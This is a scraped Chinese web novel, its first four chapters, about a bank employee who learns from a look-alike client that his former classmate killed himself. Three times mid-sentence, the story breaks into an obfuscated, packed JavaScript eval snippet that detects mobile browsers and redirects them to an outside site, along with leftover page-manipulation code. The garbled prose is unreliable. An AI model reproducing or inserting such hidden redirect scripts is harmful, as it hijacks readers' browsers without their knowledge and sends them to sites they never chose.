《被最好的兄弟拥抱了》 1. 第一章 “好!很好!非常好!” 银行晨会口号喊完,陈璋本就没表情的脸更冷了几分,眉眼凌厉,甚至显得有些恹恹的,像个颓靡的树干。 他对生活的热情,不会比快烂透的苹果多半分。 十几名身着银行制服的员工列成两排,开完晨会,随后人群散开。 他刚迈出两步,就被人从身后叫住。 “小陈,你来我办公室一下。”声音黏糊糊的,是理财经理杜彬。 陈璋的脸细微抽动了一下,与他擦肩而过的谈雪宁投来一瞥,目光中带着若有若无的怜悯。 “好。”陈璋低声应了一句,随即抬脚跟了上去。 他望着杜彬那近乎正方形的宽厚背影,身高不足一米七,如果从正面看去,就会发现他还有一张窝瓜似的圆脸。 陈璋曾不止一次地想象过,要是一拳砸在对方的脸上,这张脸会不会变成一个凹陷的窝瓜。 走到办公室门口,杜彬重重地陷进皮质座椅,发出一声沉闷的响动,他抬着下巴点了点门,“把门关上。” 陈璋随手带上门。 杜彬端起桌上的菊花茶,抿了一口,“这次健康保险,行里给每个人的指标都是30单。你卖了半个月才完成17单,今天就是截止日,剩下13单你打算怎么办?” 陈璋微微弓着背,沉默不语。 能怎么办?不怎么办。 这款健康保险,说得好听是份保障,说难听些就是几张涂满套路的废纸,报销条件卡得比报考公务员还严。 要三甲医院、要特定进口药、要乱七八糟一堆证明,普通人家生个病住个院,根本碰不着。 那17单,还是陈璋自掏腰包,找人才勉强凑出来的。 杜彬将茶杯“咚”地一声撂在办公桌上,“我记得你妈就是个开车的,对吧?” 陈璋低垂着头,眉头锁紧,顿然厌恶,不是厌恶“开车”这个职业,而是对方语气里的鄙夷和不屑。他压着不悦,简单“嗯了”一声。 杜彬向后靠着椅背,椅子发出咿呀的呻吟,“你要清楚,新人入行,哪个不是从柜员做起?你看谈雪宁,人家亲爹是建材市场老板,家底深厚,照样不例外。” “我是看你家境普通,又是个男孩子,觉得有潜力,才特意向行长申请,破格让你跟着我做理财的。可这都快两个月了,你一点像样的成绩都没做出来。” “小陈啊!”杜彬摇摇头,“我对你,真的很失望。” 陈璋终于抬眼,“杜哥说得对,我会加倍努力。” 他没说破,所谓“破格提拔”不过是为了更方便地使唤他的说辞,柜员岗虽苦,但胜在任务轻、压力小,是老员工都抢着躺平的“养老位”。 谈雪宁的后台硬,杜彬连让她多跑两趟的胆子都没有。 杜彬满意地点点头,“行,你今天帮我站个大堂吧,我得去见个重要客户。” 话音未落,他的手机响了,他冲陈璋挥挥手,语气尖细起来,“老婆,你放心!我去接小乖,你就好好休息,我最爱你了。” 陈璋倍感恶寒,向后挪了两步,低声道:“好,那我先出去了。” 关好门,却见谈雪宁站在不远处,冲着他说:“你没事吧?” 陈璋看了眼时间,“没事,你怎么还没进柜台?” 谈雪宁:“需要我帮忙吗?我那里还有多的名额。” “谢谢,不用了,我能解决,”陈璋指了指网点大门,“快进去吧,门开了。” 谈雪宁欲言又止,她觉得陈璋这人性子看着温顺,甚至有点好欺负,其实骨子里藏着股子拧劲儿,和谁都隔着一层纱。 从入职培训到现在已经两个多月了,她和陈璋连普通朋友都算不上。 谈雪宁不知道的是陈璋始终认为他不配有真正的朋友。 这句话是某个人说的,他一直记得。 陈璋去了一趟卫生间,刚拿出手机,屏幕接连跳出备注为“王女士”的语音消息,一条接一条,每条都长达一分钟,甚至还在不断往外冒。 陈璋随手点开最上面几条。 “你考虑了好吗?我说了你——” “两个月了,陈璋,你已经不是小孩子——” “银行不适合你——” 每一条听不到几秒就掐断,同样的话术,他已经能够背下来了。 陈璋是放养长大的。十三岁之前跟着他爸生活,他爸跑路之后,他妈王知然才把他接走。大学毕业之前,王知然对他的教育仅限于给钱以及别惹事。 除了高一那年那场意外,陈璋大多数时候算是听话的。 不知为什么,大学毕业之后,王知然突然就想管他了。 陈璋回了三个字。 -知道了。 从正式入职到现在,陈璋一份理财产品都没有卖出去。 如今银行推行人员精简,大厅原本有配置的专职大堂经理岗位也已经被裁撤了,现在只能由柜员和理财经理轮流顶替。 陈璋初入职场,说得好听是理财经理,实则就是个站大堂的,连间像样的办公室都没有。 不过也有点好处。因为大堂是能够接触潜在客户的第一狩猎场,陈璋也不是傻子干站着,只是每当陈璋瞄准一个有意向的客户,下一秒就能听见杜彬的声音响起,随即客户便被其半路截走。 或许王女士说得对,他不适合银行,也待不下去了。 陈璋洗了个手回到大厅,经过垃圾桶,他把口袋里那张写着杜彬名字的理财经理名片揉成一团,丢了进去。 与此同时,杜彬与他擦肩而过,径直走向门外。 不远处的保安老张趁机朝陈璋挤眉弄眼,用口型示意了三个字:“人民路。” 陈璋顿时心领神会,难怪这么急切,原来是去见红颜知己了。 他想着走之前,要不要送杜彬一份大礼,来回报他的“提拔”。 陈璋就这样在大厅帮老人办理简单业务,直到临近十点,突然有人从身后拍了拍他的肩膀。 陈璋下意识回头瞥了一眼。 就在那一瞬间,混沌了一上午的脑子瞬间清明,那张脸他已经七年没见过了...... 他整个人僵在原地,视线无法聚焦,手脚微微发麻,耳边只剩下失控的嗡鸣和心跳声。 陈璋以为自己会狂喜,可他的第一反应竟是想逃。他一点都没变,用冷漠伪装的面具裂开,露出七年前的那个胆小鬼,死到临头,只会躲。 他觉得他的脑子坏掉了,烂掉了,无法正常的运转。 “你好。”身后那个声音再次响起,那人还没离开。 陈璋僵硬地转过身,目光低垂,不敢直视对方,“你好,请问有什么事吗?” 他不敢确认。 那人正低头看着手机回消息,闻言抬起头,“丁行长在吗?” 陈璋呼吸一窒,心口前的肋骨像被人轻轻抽走了一块,凉意顺着气腔缝窜上来。 原来......不是来找他的。 陈璋强撑着抬眼,对上的却是对方疏离的眸光,像在打量街边无关紧要的路人。 不,不是他。 是他认错了。 短短几秒内,陈璋推翻了最初的判断。 对方身姿挺拔,比陈璋高出半个头,精良剪裁的西装勾勒出他宽阔的肩线与收紧的腰身,墨色长发松散地披垂至腰间,有种雌雄莫辨的俊美。 眉眼轮廓确有七八分相似,可说话的语气太淡,声线也薄了几分,最关键的是,赵希一最讨厌的就是这种披散及腰的长发。 可是......世上怎么会有如此相像的人?他们会认识吗? 陈璋暗暗呼出一口气,可胸腔里的滞闷并未得到任何的缓解,“你找丁行长有什么事吗?他出去办事了。” 对方收起手机,语气淡漠,“他让我过来买几份理财。” 陈璋礼貌淡漠道:“那我先带您去接待室坐一下吧,丁行长可能还在赶回来的路上。” 他的眼中即刻恢复了往日那种事不关己的漠然,因误认掀起的波澜渐渐消散,他的情绪像装了门阀,确认对方并非那人后,带起了以往的面具。 说难听点,陈璋是个看人下菜碟的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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由于陈璋没有办公室的,直接把顾总带公共的接待室,有点闹,一旁还有客户经理催债的电话声。陈璋将他引到稍靠里的一处座位,这里相对安静,也能被监控完全覆盖。 “顾总,您看坐这里可以吗?” 顾总“嗯”了一声,随意地坐了下来。陈璋将泡好的茶轻轻放在对方面前,拿出手机。 “您打算投多少呢?”陈璋按流程询问。 “五十万吧。”顾扬名语气随意,他本来就是做个顺水人情,顺手买着玩。 陈璋点点头,在手机上操作起来,视线扫过客户姓名——顾扬名。确认信息无误后,他抬头对顾扬名说:“顾总,请稍等片刻。” 他起身走向门口的保安,“张叔,麻烦您帮我们拍个双人照。” 张叔在银行工作了近十年,资历比大多数员工都老,行里大大小小的事几乎没有他不知道的。陈璋在大堂站了两个月,最大的收获之一就是和张叔混熟了。 陈璋将自己的手机递给张叔,向顾扬名解释道:“顾总,按规定需要合影上传。” 顾扬名表示理解,配合地点了点头。 拍照完毕,张叔走过来递还手机时,拍了拍陈璋的肩膀,压低声音笑道:“行啊小子,开张了!” 陈璋难得地露出一丝笑意,随即将照片上传至系统。所有流程走完,陈璋紧绷的神经稍稍放松,心思就分离了出来。 他心底暗藏得不甘迫使他小心翼翼地瞥了顾扬名一眼,却正对上对方的视线。 陈璋犹豫片刻,鬼使神差地咬牙一问:“顾总,能问一下,您认识赵希一吗?” 顾扬名点头,“认识,他是我表哥。” 陈璋瞬间激动起来,语气失控,与方才判若两人,“您能给我一下他的联系方式吗?我找了他很多年。” 顾扬名扬了扬眉,似乎觉得这反应很有趣,他本想再揶揄两句,但话到嘴边却变成了摇头,“不行。” 他急声追问:“为什么?” 顾扬名笑得很深,眼中戏谑,“他死了,没人喜欢他那种人,他受不了,就死了。” 陈璋愣住,只觉得所有的声音都消失了,接待室的嘈杂、街道的车流,乃至他的心跳声。世界变成了一部无声黑白电影,而他是唯一被留在黑暗里的木头。 他张了张嘴,喉咙里却像是被砂石磨过,发不出任何声音。 2. 第二章 陈璋心神恍惚,指尖脱力,手机滑落,差点掉在地上。 顾扬名眼疾手快,一把托住,放在桌上,“你没事吧?” “他......怎么死的?”陈璋恍然惊醒,脸颊发麻,语气磕磕绊绊,低垂着眼,反问。 顾扬名见陈璋失魂落魄的模样,他单手支颐,唔了一声,重复着:“怎么死的?” 他沉思了一下,问:“你和他很熟吗?” 很熟吗? 陈璋心头一紧,答不上来。当初赵希一走的时候,连一句告别都没有留下,还可以算熟吗? 陈璋斟酌着答,“我和他以前是高中同学。” 顾扬名疑惑地嗯了一声。 “可是我记得我哥高一开学没过多久就出国了,没想到这么短的时间还能有像你这样惦记他的朋友。”他的语气轻飘飘的,却像针一样扎人,“看来他也不是没人喜欢,你说是吧?” 陈璋沉默了很久,最后抬眼说:“当然,他很好,很多人喜欢他的。” 他在撒谎,这话不像是说给顾扬名的,倒像是在说服自己。 顾扬名冷不丁开口,“真的吗?” 他没等陈璋回答,自顾自接下去,“可惜,他应该不知道你这么喜欢他,他出国后,没多久精神就出现了问题,然后自杀了。” 自.....杀? 这两个字过于沉重,像浸了水的棉花快要捂死陈璋,他觉得呼吸有点困难。 陈璋望着顾扬名的眼睛,心脏狂跳,恍惚间,想起来上一次讨论的“杀”这个话题还是高一的时候。 那天,赵希一站在他身后的不远处,陈璋被一群人围绕着,四周有说有笑。 “听说赵希一的妈是个疯子。” “不止!好像还杀了人!” “真的假的?” “当然是真的,我和赵希一初中是一个学校的,赵希一还是个私生子。” “我靠!那他妈岂不是个小三?” 聊着聊着,有人突然转向陈璋,扬声问:“陈璋,你和赵希一关系好像挺好的,你听他说过吗?” 陈璋被点名,心头一慌,他不想参与到这个名为“围剿赵希一”的话题里。 他模糊回答:“不知道,没听他说过。” 人群中有个高个子的人,叫梁家境,他伸手指着陈璋,语气强硬,“你以后少和他来往,别给我舅丢面子。” 梁家境是陈璋后爸汤勤为的亲侄儿,陈璋十三岁被王知然带走后,才发现王知然已经再婚了,对方是蓉城有名的企业家。 汤勤为很疼爱这个侄儿。他没有儿子,只有一个女儿,叫汤佳,和陈璋是同母异父的关系。 陈璋初来乍到的时候就发现汤家的关系很微妙,那个时候王知然还没有工作,几乎是没有话语权的,家里除了汤勤为就属于梁家境的地位最高。 陈璋清楚自己的位置尴尬,汤勤为对他的态度算是比较客气的,但是梁家境不一样,他没少使唤陈璋。 陈璋为了不给王知然添麻烦,基本都默认了。 梁家境半天没见陈璋回应,不耐烦地啧了一声,“听见了吗?” “一天天跟个哑巴一样。” 陈璋小声嗯了一声,他不想有更多的麻烦,如果陈璋有什么做得不好的地方,倒霉的只会是王知然。 可陈璋万万没想到,话音刚落,上课铃猛地打响,他一回头,就看见赵希一就站在几步之外。 那一瞬,陈璋整个人都僵了,他想开口解释,可赵希一已经转身走了。 那是他和赵希一矛盾的开始。 陈璋猝然回神,发现自己居然在冒冷汗。 陈璋拿起手机,他突然不想聊了,妄图起身离去,只想快速结束这个话题。 “顾总,我还有业务要办理,今天就先这样吧。” 他后悔了。 后悔问顾扬名是不是认识赵希一。 如果他没有问,赵希一就永远没有死,更不可能“自杀”。 他天真又拙劣地自欺欺人。 顾扬名却骤然抓住他的手腕,“加个联系方式吧。” 他边说着,边不由自主地想:好细的手腕。 陈璋身体一僵,迅速将手抽回,下意识要拒绝,他不想和这么一个长得像赵希一的人有任何联系。 可是顾扬名却已经调出微信的添加二维码,这让陈璋到嘴边的话,却说不出口。 对方是丁行长的客户,他只是一个还没有离职的小职员,没有资格拒绝。 陈璋被迫添加了联系方式,动作却十分的仓促,甚至连礼貌的再见都没说,他走到大厅,混迹在人群中,试图分散他的注意力。 他像一只缩进壳里的蜗牛,平日厌弃喧闹的他,此刻居然在庆幸这些声音的存在,可以用麻痹思绪。 等他终于克制不住的朝着接待室望去的时候,顾扬名已经消失了。 可陈璋的心潮却彻底失控,将他冲得七零八落,不安、焦虑、反胃......种种情绪绞作在一起。 午间,他甚至一粒米也未进,独自坐在接待室的角落小憩。 陈璋下意识的拍了拍心口,无声地安慰自己一切都过去了。 如今王知然已经离婚很久了,梁家境的鼻梁也被他打歪了。 平静些后,陈璋打开手机,才发现他已经添加了顾扬名,对方的头像是一个看不懂的影子。 有点像个云? 陈璋点开对方的朋友圈,却发现全部都是一只黑色的小猫,他认不出品种,只觉得蛮可爱的。 陈璋退出朋友圈,将顾扬名的微信弄成免打扰模式,这是他的习惯。 他的微信里只有27人。 大学毕业后,陈璋删删减减,只留下曾经勉强算是聊过天的人。 随后,陈璋又把顾扬名仅仅只有添加成功的聊天框都删除了,他不想看见这个名字。 下班前,陈璋一直思考着什么时候离职,那个健康保险自然也是不继续干了,甚至想着把之前买的赶在截止日期之前退掉。 陈璋在经过网点旁的小巷子,撞见了在外忙碌了一天的杜彬,巷子后面是个大的停车场。 杜彬看见陈璋的时候,眼里有一丝庆幸,“还好你没走,你过来,我和你说点事。” 陈璋隐约觉得不对劲,“杜哥,怎么呢?” 杜彬一改往日的神色,伸手攀上陈璋的肩膀,“听说你今天签了个大单?” 陈璋神色平静,“嗯,是丁行的客户。” “我知道是丁行的客户,可你也清楚,要不是今天我外出,这单本该是我的。”杜彬意味深长地说。 陈璋问:“杜哥的意思是什么呢?” 杜彬轻啧一声,似乎嫌他不够上道,“这样吧,我也不为难你,这个单子的绩效我们一人一半。” “不好吧。”陈璋皮笑肉不笑。 杜彬脸冷下去,“陈璋,别忘了,如果不是我,你还坐不到这个位置。” “杜哥误会了,我的意思是都给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201101|197189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你了。”陈璋逆着光,站在街道黄色路灯下,有些瘆人。 杜彬哎呦一声,脸都要笑烂了,“那多不好意思,不用。” 陈璋点头,“应该的,就当是给你攒医药费。” “什么?”杜彬愣住。 陈璋积攒已久的怨气和不满,在此刻终于爆发了。 赵希一死了。 这个世界还在照常运转。 可是为什么杜彬这种人渣还能安然无恙? 陈璋俯视着杜彬,一把拽住他的衣领,“没听清?” “我说了——给你当医疗费!” 陈璋一拳打在杜彬的脸上,杜彬的鼻子瞬间见红。 陈璋见状,觉得有点遗憾,怎么没变成窝瓜。 杜彬赶紧捂着鼻子,又惊又怒,“你!你居然打我!你不想干了!” “不干了!一个月三千,你把我当狗使唤了!”陈璋拍了拍杜彬的脸,“就你这种狗眼看人低的货色,也配看不起开车的?” “不对,说你是狗,都是侮辱了狗,狗多好的动物,你狗都不如。” 杜彬觉得陈璋疯了,他哆哆嗦嗦要掏出手机要报警。 陈璋也不拦着,只冷冷道:“报啊,顺便让警察查查你赌/博/嫖/娼的烂事。” 杜彬的手一顿,眼睛一眯,“你什么意思?” “怎么?装傻?你今天不是还去了人民路吗?”陈璋说,“这么快就忘记吗?” 杜彬强装镇定,“说话是要讲究证据的。” “西山以前常去吧?玩得爽吗?”陈璋挑眉,“是赢得多还是输得多?” 西山赌场的事内部人才清楚,那是违法的。 虽然前段时间已被端掉,但杜彬仍硬着头皮反问:“你知道得这么清楚,难道你也去过?” “那你有我照片吗?”陈璋冷笑,“但我有你的,那天你穿黑外套,戴蓝色帽子。” 杜彬顿时不敢吱声,他捂住鼻子,“你想怎么样?” 陈璋说:“不怎么样,就还想再打你一拳。”说完,他又是一拳重重揍在杜彬肚子上。 “今天的事如果有第三个人知道,”陈璋俯身,声音压低,“进去喝茶的,可不止我一个。” 陈璋厌恶地瞥他一眼,转身走向公交车站。 他没注意到,自己刚转身,停车场里就驶出一辆黑色轿车,在杜彬面前稍作停顿,又缓缓开到公交站前。 车窗降下,里面的人说:“我送你。” 陈璋抬起眼,是顾扬名。 他眉头微皱,懒得猜想对方为什么会停在这里问他,他只想保持距离。 于是陈璋维持着表面的客气,“不用麻烦了顾总,公交车快来了。” 可是顾扬名没走。 陈璋有些不悦,“顾总,这里不让停私家车。” 顾扬名淡淡道:“你上车,我就走。” 陈璋觉得这人真是讨厌至极。 讨厌他那张脸,讨厌他带来的消息,更讨厌他此刻不容拒绝的态度。 公交车即将进站,陈璋看着被挡的车位,终究还是拉开门坐了进去。 顾扬名问:“地址。” 陈璋说:“星阳小区。” 车内很安静,陈璋是那种不想说话就绝不开口的人。 顾扬名却先打破沉默:“为什么不说话?” “我还以为你会问我赵希一的事。” 陈璋:...... 这个真是哪壶不开提哪壶。 3. 第三章 陈璋目视前方,觉得他和顾扬名的关系还没到可以问候的程度,哪怕他是赵希一的表弟。 “没想到顾总还挺热情。”陈璋说,“看来顾总也很好奇赵希一以前的事。” 顾扬名微微侧目多看了两眼陈璋,心底有点诧异,这和白天他所见的陈璋太不一样了。 且不说刚才目睹陈璋动手打人,就连这说话的语气也判若两人,似乎不怎么待见他。 顾扬名说:“算是吧,我哥以前对我很好,我之所以回到蓉城有一部分原因也是因为他,今天知道你是我哥以前的高中同学,就很好奇他以前的生活。” “以前,我哥不太愿意讲他之前的事。”顾扬名语气一顿,声音低沉下去,“但是他已经不在了,身边也没什么人提起他,所以我想多了解一些,总得有人记住他这个人吧。” 陈璋原本心底各种不好的猜测和情绪,在听见“他已经不在了,身边也没什么人提及过他”这句话时,瞬间消散。 陈璋语气软和下来,“他......出国后发生了什么,为什么会......” 话说到一半,陈璋便说不出口了,他想知道原因,但更不想承认这件事的发生。 顾扬名却听出来了陈璋的言外之意,“为什么会自杀?” 陈璋扭过头,低低嗯了一声。 他很少表露情绪,但在夜晚的车窗下却暴露了,他的眼角又一次红了。 前方红灯亮起,顾扬名缓缓停下车,可他握方向盘的手有瞬间的紧绷,“可能是环境问题吧,我哥出国后,没什么认识的人,除了我,好像没什么人能和他交流。” 陈璋脑海中闪过赵希一的脸,那是一张肆意张扬又充满自信的脸。 这样的一个人,为什么会没人和他交流? 陈璋思绪是混乱的,他渴望知道关于赵希一的一切,却又抗拒着过去。 最后陈璋居然莫名其妙开口说:“谢谢你。” 顾扬名趁着红灯的间隙,侧过头,疑惑地问:“谢谢?谢我什么?” 陈璋自己也说不清楚,也许是在谢他曾经陪伴过赵希一,也许只是谢他此刻送自己回家。 陈璋轻轻呼出一口气,“谢谢顾总送我回家。” 顾扬名当然不傻,听出来陈璋的弦外之音,可是他就是想戳破陈璋,“我还以为你在谢我告诉你赵希一的消息。” 陈璋没有正面回答,看着前方,“绿灯了。” 顾扬名重新发动车子,陈璋也不再说话。 星阳小区是个很老的小区,离陈璋工作的蓉城商行支行网点很近,步行半小时,开车不过十分钟就到了。 车刚停稳,陈璋就迫不及待地想下车,可伸手拉了几下,车门却纹丝不动。 他扭头直视顾扬名,用眼神无声的质问。 顾扬名与他对视了一秒,才“嗒”的一声解开中控锁。 “陈璋,”他声音平稳,“记得回消息。” 陈璋没有任何停顿,拉开车门,“谢谢顾总。”说得干脆又疏离。 随后头也不回地走进了小区昏暗的入口。 顾扬名望着陈璋离去的背影,一直强撑的平静终于瓦解,他关上车窗,靠在椅背上,控制了很久的手开始难以抑制地颤抖。 他俯身打开扶手箱,动作仓皇,取出一片药,拧开瓶水,仰头将药片送下。 陈璋,是你先骗我的...... - 陈璋刚进门,鞋还没换,手机就响了,是汤佳打来的。 “哥,明天周六,你需要上班吗?” 陈璋用肩膀夹着手机,脱下鞋子,边走边松开领带,到厨房打开水龙头洗手,“没事,你要我做什么?” 汤佳语气有些犹豫,“明天教委的车都被派出去了,我要去工业园区拍点照片,没车了。” 汤佳如今读大二,在蓉城唯一一所重点本科,平时常给教委中心的大学生平台做兼职,拍拍照片,写写公众号。 陈璋从橱柜里拿出一包泡面,“家里的车呢?” “车是在家,但我没跟教委的人说我会开车......不然以后肯定老被当司机使唤。”汤佳小声抱怨。 “行,明天几点?”陈璋本就社交稀薄,除了上班,多半在家待着。 汤佳问:“九点,来得及吗?” “好。”陈璋应下,“那我先挂了。” “等一下!”汤佳急忙叫住他。 陈璋也没真挂,把手机重新贴回耳边,“说。” 其实他大概猜得到汤佳要讲什么,无非是替王知然当说客。 汤佳支吾了一下,才轻声问:“你是不是......还在生妈妈的气呀?” 锅里的水开始冒起细密的气泡,陈璋把面饼放进去,“没有。” “没有?那你都不怎么回妈妈的消息。”汤佳显然不信。 “真没有,而且我回过。”陈璋拿起筷子,轻轻搅动泡面。 汤佳不放弃,“那你怎么不回家住,非待在星阳小区那边?” 王知然名下有不止一处房产,星阳小区是当初王知然离婚后买的一个二手房。 陈璋叹了口气,“说过了,星阳离网点近,有时候要接钞车,六点半就得到,能多睡一会儿。” 汤佳也知道自己有点无理取闹了,只好软下声音叮嘱,“好吧......那你以后回消息,能不能多打几个字?妈妈其实很关心你的。” “好。” 陈璋没再给她继续说下去的机会,直接按了挂断,把煮得半生不熟的泡面捞进碗里,他喜欢这种还带点硬度的口感。 陈璋坐到饭桌前,滑动手机屏幕,发现顾扬名在十分钟前发了两条消息。 -有机会和我讲讲我哥以前的事吧 -你也可以问我哥出国后的事 陈璋的指尖在这个对话框上停顿了片刻,最终没有回复。 他退出界面,找到王女士的头像,发了条消息过去。 -我打算辞职了。 王女士几乎秒回,是一段语音。 “那你来我这里上班吧。” 陈璋回了一个字。 -好。 想了想,又回了一条消息。 -最近有点冷,你注意身体。 这一次,王女士破天荒地没发语音,回了一段文字。 -好,我知道了,你也是。 陈璋看着屏幕,嘴角扬起一个浅浅的,几乎看不见的弧度。 王知然是开车的,但她手下的车,占了蓉城客运车的近三分之一,甚至囊括了多条旅游专线和出城线路。 简单说,王知然是一家客运公司的老板。 早年离婚后,她确实是从开出租车起步,又靠着那股泼辣劲儿结交了不少人脉。 后来听说客运公司有个老板要出让股份,她便借钱盘了下来。 若说王知然最大的优点,恐怕就是胆子大,她几乎是当时蓉城客运行业里唯一的女老板。 这些年摸爬滚打,也总算站稳了脚跟。 陈璋很少对旁人提起王知然是做什么的。 一来是不愿过多透露自己的事,二来,在最初那些年,他确实因此遭遇过不少歧视。 “你妈就是个开车的”、“一个女人家去开出租车”之类的闲言碎语,他没少听。 陈璋从不觉得这工作有什么不好,相反,在他心里,这比他爸,甚至比他认识的许多大人都要强得多。 他只是单纯不喜别人随意点评王知然,即便他们母子关系算不上亲密,他心底依旧是维护她的。 洗漱完毕,刚好十点。 陈璋躺到床上,但他入眠时间一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201102|197189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向很长,短则半小时,长则彻夜无眠,通常总要耗上一个小时左右。 陈璋翻来覆去的折腾,就是睡不着,白天的事就好像被按下了循环播放键在他的脑子里滚动。 最后,他几乎是自暴自弃地将手平放在腹部,想象自己是一具尸体,必须保持绝对静止,试图用这种强制的方式催眠自己。 然而还是失败了。 他有些泄气地坐起身,摸过床头的手机。 屏幕的光亮刺得他眯了眯眼。他点开与顾扬名的聊天框,盯着那两条消息看了许久, 最终,只回了一个字。 -好。 理智与欲望的拉扯,他还是败下阵来。 对赵希一过往的探究欲,战胜了刻意维持的疏离。 消息发出去后,陈璋身上那种焦虑不安顿然消失,他只觉得很困,像是什么东西催促着他睡觉。 他重新躺下,闭上眼睛,没过多久,便不知不觉地沉入了睡眠。 早上醒来,陈璋觉得脖子一阵酸疼,大概是落枕了。 他掐着点出门,直接坐车到学府名城的地下车库,给汤佳发消息。 -我到了,在地下车库,你直接下来。 -别忘了带钥匙。 汤佳一直没回复,陈璋又担心她忘了,刚要打电话,就见电梯门打开,汤佳从里面走出来,手里抱着一堆拍摄设备。 陈璋上前接过东西,“钥匙带了吗?” “在口袋里。”汤佳把设备递给他,摸索着掏出车钥匙。 陈璋把东西放进后备箱时,汤佳已经坐进了车里。 等他坐上驾驶座,汤佳突然用一种兴奋的语气说:“哥,等会儿你可能会见到一个超级好看的人!” 陈璋淡淡调侃,“能被你夸好看,那可不容易。” 汤佳轻啧一声,“怎么可能,我逢人就说我哥最帅!” “比起你还是差一点。”陈璋发动车子。 汤佳确实很漂亮,鹅蛋脸,大眼睛,高鼻梁。陈璋一直觉得她完美继承了王知然的基因。 小时候陈璋没见过妈妈几次,只有一张褪色的照片。 王知然穿着白衬衫和复古蓝牛仔短裙,倚在一辆黑色轿车前,洒脱又惬意。 那是陈璋对妈妈的第一印象,像电视剧里的港风明星。 汤佳被夸得嘿嘿笑,回了几条消息后就靠着车窗睡着了。 昨晚她熬夜赶工,教委最近要拍宣传片,结合了一些新兴企业。 园区是蓉城这一两年新开发的工业园,为拉动经济和旅游业,吸引了不少外地企业入驻,配合银行低利率政策,规模不小。 陈璋开车很稳,到园区才轻轻拍醒汤佳,“到了,别睡了。” 汤佳醒来还有点迷糊,“这么快?感觉没睡多久。” “都一小时了,你昨天熬到几点?”陈璋开门下车。 工业园区人不多,毕竟刚开发。 汤佳没接话,突然指着远处激动地说:“就是他!” 陈璋顺着她指的方向看过去,心里一沉。 他现在回去还来得及吗? 汤佳完全沉浸在兴奋中,甚至拽住陈璋的手臂,“啊啊啊他走过来了!” 陈璋被她捏得有点疼,把她的手扒拉下来,“冷静点,你见过的帅哥还少吗?” “可他是长发!好漂亮!”汤佳激动地摇头。 陈璋就这样看着顾扬名走到面前,还冲汤佳笑了笑。 “你怎么没回我消息?”顾扬名看向陈璋。 陈璋这才想起,早上确实收到顾扬名的消息,问他什么时候有空聊一聊。 可白天不像晚上那样情绪泛滥,此刻的他,好像又有点后悔了。 对视上顾扬名质问的眼神,陈璋在想,不会汤佳要拍的新兴企业,就是他的吧? 4. 第四章 陈璋还没来得及编个借口,汤佳已经看出猫腻。 汤佳问:“哥,你们认识?” 陈璋淡淡道:“是行里的客户。” 汤佳皱眉,根本不信这套说辞,行长的客户会一上来就问“为什么不回消息”? 怎么想都不对劲。 “我应该是你的客户才对,”顾扬名直接点破,“昨天我刚在你手上买了理财。” 陈璋只是笑了笑,没接话。 反正他就要辞职了,这个客户要不要都无所谓。 但他也没把话说得那么直白,转而问道:“不过顾总怎么也在这儿?” “有点巧了。” 顾扬名指向后面那栋楼,“不巧,那栋是我买的。” 他顺势邀请:“要不要上去参观一下?” 陈璋示意了一下汤佳,“不用了顾总,我是来陪我妹拍照的。” 顾扬名点点头,“我知道,她要拍的就是我。” 陈璋:“......” 汤佳连忙打圆场,“哥,你要是不想去,就在车里等我吧,我很快拍完。” 她看得出来陈璋在回避顾扬名。 陈璋绝大多数是个很温吞的人,就像......蜗牛,很少见陈璋用这样的方式说话。 顾扬名却不紧不慢地开口,“在车里等多无聊,反正都出来了,我可以顺便和你聊聊我哥的事。” “如果你想听的话。” 陈璋再一次把拒绝的话咽了回去,他觉得顾扬名是故意的,用赵希一的消息钓着他。 至于为什么,他不清楚。 陈璋没再推拒,转身帮汤佳拿出设备,“那就一起吧。” 顾扬名想伸手帮忙,陈璋没给他机会。 “顾总,你带路就好。” 空着手的顾扬名只好走在前面。 汤佳挨着陈璋,满肚子疑问,可又怕被顾扬名听见,只好憋着,低头猛敲手机给陈璋发消息。 等她发完才想起来,陈璋两手抱着设备,根本看不了手机。 停车的地方离B区很近,走到B2栋楼下时,一位西装男子早已等在那里,他是顾扬名的助手魏书。 魏书见到顾扬名便迎上前,“小顾总,秦总下午就到,新到的一批雕刻机设备需要他亲自监工。” “下午你去接吧,我没什么事要做。”顾扬名点头, 魏书略显犹豫,“秦总希望您也一起去。” 顾扬名沉默片刻,秦年显然还对他回蓉城这件事耿耿于怀,非要他去接,就怕他躲着不见。 “知道了,你先上去吧,我带他们随便看看。”顾扬名只能答应。 魏书不敢多言,最近这一两个月两位“总”没少起争执,他不想撞枪口上。 顾扬名没带陈璋走进电梯,而是从一侧的大门步入展厅。 “一楼都是展示品,”顾扬名自然而然地介绍起来,他指向中央的一座木雕,“这是整块金丝楠木镂雕而成的松鹤延年。” 汤佳赶紧举起相机拍摄。 陈璋看了一眼,他木雕的欣赏和普通人没有区别,思来想去只有两个字:贵气。 顾扬名接着介绍后面一整面墙的木雕系列,“这一组叫山海灵。” 他指着第一件:“黑胡桃木雕的林海。” 作品保留原木天然边缘,起伏自然,内部细腻的松针纹理在灯光下层次丰富,如风吹林海。 随后他介绍另外一件,“这是柚木雕的鲲。” 